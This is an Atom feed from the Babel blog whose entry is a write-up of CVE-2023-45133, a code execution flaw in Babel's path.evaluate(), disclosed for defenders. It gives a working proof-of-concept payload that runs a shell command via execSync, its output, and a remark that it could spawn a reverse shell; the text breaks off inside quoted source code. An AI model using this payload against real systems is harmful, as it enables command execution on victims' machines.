<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
    <id>https://babeljs.io/blog</id>
    <title>Babel Blog</title>
    <updated>2023-10-18T00:00:00.000Z</updated>
    <generator>https://github.com/jpmonette/feed</generator>
    <link rel="alternate" href="https://babeljs.io/blog"/>
    <subtitle>Babel Blog</subtitle>
    <icon>https://babeljs.io/img/favicon.png</icon>
    <entry>
        <title type="html"><![CDATA[CVE-2023-45133: Finding an Arbitrary Code Execution Vulnerability In Babel]]></title>
        <id>https://babeljs.io/blog/2023/10/16/cve-2023-45133</id>
        <link href="https://babeljs.io/blog/2023/10/16/cve-2023-45133"/>
        <updated>2023-10-18T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[On October 10th, 2023, I stumbled upon an arbitrary code execution vulnerability in Babel, which was subsequently assigned the identifier CVE-2023-45133. In this post, I’ll walk you through the journey of discovering and exploiting this intriguing flaw.]]></summary>
        <content type="html"><![CDATA[
<p>On October 10th, 2023, I stumbled upon an arbitrary code execution vulnerability in <a href="https://github.com/babel/babel/" target="_blank" rel="noopener noreferrer">Babel</a>, which was subsequently assigned the identifier CVE-2023-45133. In this post, I’ll walk you through the journey of discovering and exploiting this intriguing flaw.</p>
<div class="theme-admonition theme-admonition-tip admonition_WCGJ alert alert--success"><div class="admonitionHeading_GCBg"><span class="admonitionIcon_L39b"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>tip</div><div class="admonitionContent_pbrs"><p>This article was originally published on <a href="https://steakenthusiast.github.io/" target="_blank" rel="noopener noreferrer">William Khem Marquez's blog</a>. He also published a series on using Babel to deobfuscate JavaScript code: check it out!</p></div></div>
<p>Those who use Babel for reverse engineering/code deobfuscation love using Babel because of all of the built in functionality it provides. One of the most useful features is the ability to statically evaluate expressions using <code>path.evaluate()</code> and <code>path.evaluateTruthy()</code>. I have written about this in the previous articles:</p>
<ul>
<li><a href="https://steakenthusiast.github.io/2022/05/28/Deobfuscating-Javascript-via-AST-Manipulation-Constant-Folding/" target="_blank" rel="noopener noreferrer">Constant Folding</a></li>
<li><a href="https://steakenthusiast.github.io/2022/06/14/Deobfuscating-Javascript-via-AST-Deobfuscating-a-Peculiar-JSFuck-style-Case/" target="_blank" rel="noopener noreferrer">A Peculiar JSFuck-style Case</a></li>
</ul>
<p>Wait, did I say <em>statically evaluate</em>?</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="the-exploit">The Exploit<a href="https://babeljs.io/blog/2023/10/16/cve-2023-45133#the-exploit" class="hash-link" aria-label="Direct link to The Exploit" title="Direct link to The Exploit">​</a></h2>
<p>Before delving into the details, let’s take a look at the proof of concept I came up with:</p>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="proof-of-concept">Proof of Concept<a href="https://babeljs.io/blog/2023/10/16/cve-2023-45133#proof-of-concept" class="hash-link" aria-label="Direct link to Proof of Concept" title="Direct link to Proof of Concept">​</a></h3>
<div class="language-javascript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-javascript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> parser </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">require</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"@babel/parser"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> traverse </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">require</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"@babel/traverse"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token keyword module" style="color:#8959a8">default</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> source </span><span class="token operator">=</span><span class="token plain"> </span><span class="token template-string template-punctuation string" style="color:#718c00">`</span><span class="token template-string string" style="color:#718c00">String({  toString: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")});</span><span class="token template-string template-punctuation string" style="color:#718c00">`</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> ast </span><span class="token operator">=</span><span class="token plain"> parser</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">parse</span><span class="token punctuation">(</span><span class="token plain">source</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> evalVisitor </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token function maybe-class-name" style="color:#4271ae">Expression</span><span class="token punctuation">(</span><span class="token parameter" style="color:#f5871f">path</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    path</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">evaluate</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token function" style="color:#4271ae">traverse</span><span class="token punctuation">(</span><span class="token plain">ast</span><span class="token punctuation">,</span><span class="token plain"> evalVisitor</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>This simply outputs the result of the <code>id</code> command to the terminal, as can be seen below.</p>
<div class="codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-text codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">┌──(kali㉿kali)-[~/Babel RCE]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">└─$ node exploit.js</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),111(bluetooth),115(scanner),138(wireshark),141(kaboxer),142(vboxsf)</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>Of course, the payload can be adapted to do anything, such as exfiltrate data or spawn a reverse shell.</p>
<img alt="😁" src="https://babeljs.io/assets/2023-10-16-cve-2023-45133/success.jpg" style="display:block;margin-left:auto;margin-right:auto;width:50%">
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="exploit-breakdown">Exploit Breakdown<a href="https://babeljs.io/blog/2023/10/16/cve-2023-45133#exploit-breakdown" class="hash-link" aria-label="Direct link to Exploit Breakdown" title="Direct link to Exploit Breakdown">​</a></h3>
<p>To understand why this vulnerability works, we need to understand the source code of the culprit function, <code>evaluate</code>. The source code of <code>babel-traverse/src/path/evaluation.ts</code> prior to the fix is archived <a href="https://github.com/babel/babel/blob/7e198e5959b18373db3936fa3223c0811cebfac1/packages/babel-traverse/src/path/evaluation.ts" target="_blank" rel="noopener noreferrer">here</a></p>
<div class="language-typescript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-typescript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token doc-comment comment" style="color:#8e908c">/**</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token doc-comment comment" style="color:#8e908c"> * Walk the input `node` and statically evaluate it.</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token doc-comment comment" style="color:#8e908c"> *</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token doc-comment comment" style="color:#8e908c"> * Returns an object in the form `</span><span class="token doc-comment comment punctuation" style="color:#8e908c">{</span><span class="token doc-comment comment" style="color:#8e908c"> confident, value, deopt </span><span class="token doc-comment comment punctuation" style="color:#8e908c">}</span><span class="token doc-comment comment" style="color:#8e908c">`. `confident`</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token doc-comment comment" style="color:#8e908c"> * indicates whether or not we had to drop out of evaluating the expression</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token doc-comment comment" style="color:#8e908c"> * because of hitting an unknown node that we couldn't confidently find the</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token doc-comment comment" style="color:#8e908c"> * value of, in which case `deopt` is the path of said node.</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token doc-comment comment" style="color:#8e908c"> *</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token doc-comment comment" style="color:#8e908c"> * Example:</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token doc-comment comment" style="color:#8e908c"> *</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token doc-comment comment" style="color:#8e908c"> *   t.evaluate(parse("5 + 5")) // </span><span class="token doc-comment comment punctuation" style="color:#8e908c">{</span><span class="token doc-comment comment" style="color:#8e908c"> confident: true, value: 10 </span><span class="token doc-comment comment punctuation" style="color:#8e908c">}</span><span class="token doc-comment comment" style="color:#8e908c"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token doc-comment comment" style="color:#8e908c"> *   t.evaluate(parse("!true")) // </span><span class="token doc-comment comment punctuation" style="color:#8e908c">{</span><span class="token doc-comment comment" style="color:#8e908c"> confident: true, value: false </span><span class="token doc-comment comment punctuation" style="color:#8e908c">}</span><span class="token doc-comment comment" style="color:#8e908c"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token doc-comment comment" style="color:#8e908c"> *   t.evaluate(parse("foo + foo")) // </span><span class="token doc-comment comment punctuation" style="color:#8e908c">{</span><span class="token doc-comment comment" style="color:#8e908c"> confident: false, value: undefined, deopt: NodePath </span><span class="token doc-comment comment punctuation" style="color:#8e908c">}</span><span class="token doc-comment comment" style="color:#8e908c"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token doc-comment comment" style="color:#8e908c"> *</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token doc-comment comment" style="color:#8e908c"> */</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">export</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">evaluate</span><span class="token punctuation">(</span><span class="token keyword" style="color:#8959a8">this</span><span class="token operator">:</span><span class="token plain"> NodePath</span><span class="token punctuation">)</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  confident</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#f5871f">boolean</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  value</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#f5871f">any</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  deopt</span><span class="token operator">?</span><span class="token operator">:</span><span class="token plain"> NodePath</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> state</span><span class="token operator">:</span><span class="token plain"> State </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    confident</span><span class="token operator">:</span><span class="token plain"> </span><span class="token boolean" style="color:#f5871f">true</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    deoptPath</span><span class="token operator">:</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">null</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    seen</span><span class="token operator">:</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">new</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Map</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> value </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">evaluateCached</span><span class="token punctuation">(</span><span class="token keyword" style="color:#8959a8">this</span><span class="token punctuation">,</span><span class="token plain"> state</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token plain">state</span><span class="token punctuation">.</span><span class="token plain">confident</span><span class="token punctuation">)</span><span class="token plain"> value </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">undefined</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">return</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    confident</span><span class="token operator">:</span><span class="token plain"> state</span><span class="token punctuation">.</span><span class="token plain">confident</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    deopt</span><span class="token operator">:</span><span class="token plain"> state</span><span class="token punctuation">.</span><span class="token plain">deoptPath</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    value</span><span class="token operator">:</span><span class="token plain"> value</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>When <code>evaluate</code> is called on a NodePath, it goes through the <code>evaluatedCached</code> wrapper, before reaching the <code>_evaluate</code> function which does all the heavy lifting. The <code>_evaluate</code> function is where the vulnerability lies.</p>
<p>This function is responsible for recursively breaking down AST nodes until it reaches an atomic operation that can be evaluated confidently. The majority of the base cases are evaluated for atomic operations only (such as for binary expressions between two literals). However, there are a few exceptions to this rule.</p>
<p>The two pieces of the source code we care about are the handling of <strong>call expressions</strong> and <strong>object expressions</strong>, as shown below:</p>
<h4 class="anchor anchorWithStickyNavbar_JmGV" id="vulnerable-source-code">Vulnerable Source Code<a href="https://babeljs.io/blog/2023/10/16/cve-2023-45133#vulnerable-source-code" class="hash-link" aria-label="Direct link to Vulnerable Source Code" title="Direct link to Vulnerable Source Code">​</a></h4>
<details class="details_IpIu alert alert--info details_jERq" data-collapsed="true"><summary>Relevant <code>_evaluate</code> source code</summary><div><div class="collapsibleContent_Fd2D"><div class="language-typescript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-typescript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">VALID_OBJECT_CALLEES</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"Number"</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"String"</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"Math"</span><span class="token punctuation">]</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">as</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">const</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">VALID_IDENTIFIER_CALLEES</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token string" style="color:#718c00">"isFinite"</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token string" style="color:#718c00">"isNaN"</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token string" style="color:#718c00">"parseFloat"</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token string" style="color:#718c00">"parseInt"</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token string" style="color:#718c00">"decodeURI"</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token string" style="color:#718c00">"decodeURIComponent"</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token string" style="color:#718c00">"encodeURI"</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token string" style="color:#718c00">"encodeURIComponent"</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  process</span><span class="token punctuation">.</span><span class="token plain">env</span><span class="token punctuation">.</span><span class="token constant" style="color:#f5871f">BABEL_8_BREAKING</span><span class="token plain"> </span><span class="token operator">?</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"btoa"</span><span class="token plain"> </span><span class="token operator">:</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">null</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  process</span><span class="token punctuation">.</span><span class="token plain">env</span><span class="token punctuation">.</span><span class="token constant" style="color:#f5871f">BABEL_8_BREAKING</span><span class="token plain"> </span><span class="token operator">?</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"atob"</span><span class="token plain"> </span><span class="token operator">:</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">null</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">]</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">as</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">const</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">INVALID_METHODS</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"random"</span><span class="token punctuation">]</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">as</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">const</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">isValidObjectCallee</span><span class="token punctuation">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  val</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#f5871f">string</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">)</span><span class="token operator">:</span><span class="token plain"> val </span><span class="token keyword" style="color:#8959a8">is</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token keyword" style="color:#8959a8">typeof</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">VALID_OBJECT_CALLEES</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token builtin" style="color:#f5871f">number</span><span class="token punctuation">]</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">return</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">VALID_OBJECT_CALLEES</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">includes</span><span class="token punctuation">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token comment" style="color:#8e908c">// @ts-expect-error val is a string</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    val</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">isValidIdentifierCallee</span><span class="token punctuation">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  val</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#f5871f">string</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">)</span><span class="token operator">:</span><span class="token plain"> val </span><span class="token keyword" style="color:#8959a8">is</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token keyword" style="color:#8959a8">typeof</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">VALID_IDENTIFIER_CALLEES</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token builtin" style="color:#f5871f">number</span><span class="token punctuation">]</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">return</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">VALID_IDENTIFIER_CALLEES</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">includes</span><span class="token punctuation">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token comment" style="color:#8e908c">// @ts-expect-error val is a string</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    val</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">isInvalidMethod</span><span class="token punctuation">(</span><span class="token plain">val</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#f5871f">string</span><span class="token punctuation">)</span><span class="token operator">:</span><span class="token plain"> val </span><span class="token keyword" style="color:#8959a8">is</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token keyword" style="color:#8959a8">typeof</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">INVALID_METHODS</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token builtin" style="color:#f5871f">number</span><span class="token punctuation">]</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">return</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">INVALID_METHODS</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">includes</span><span class="token punctuation">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token comment" style="color:#8e908c">// @ts-expect-error val is a string</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    val</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span 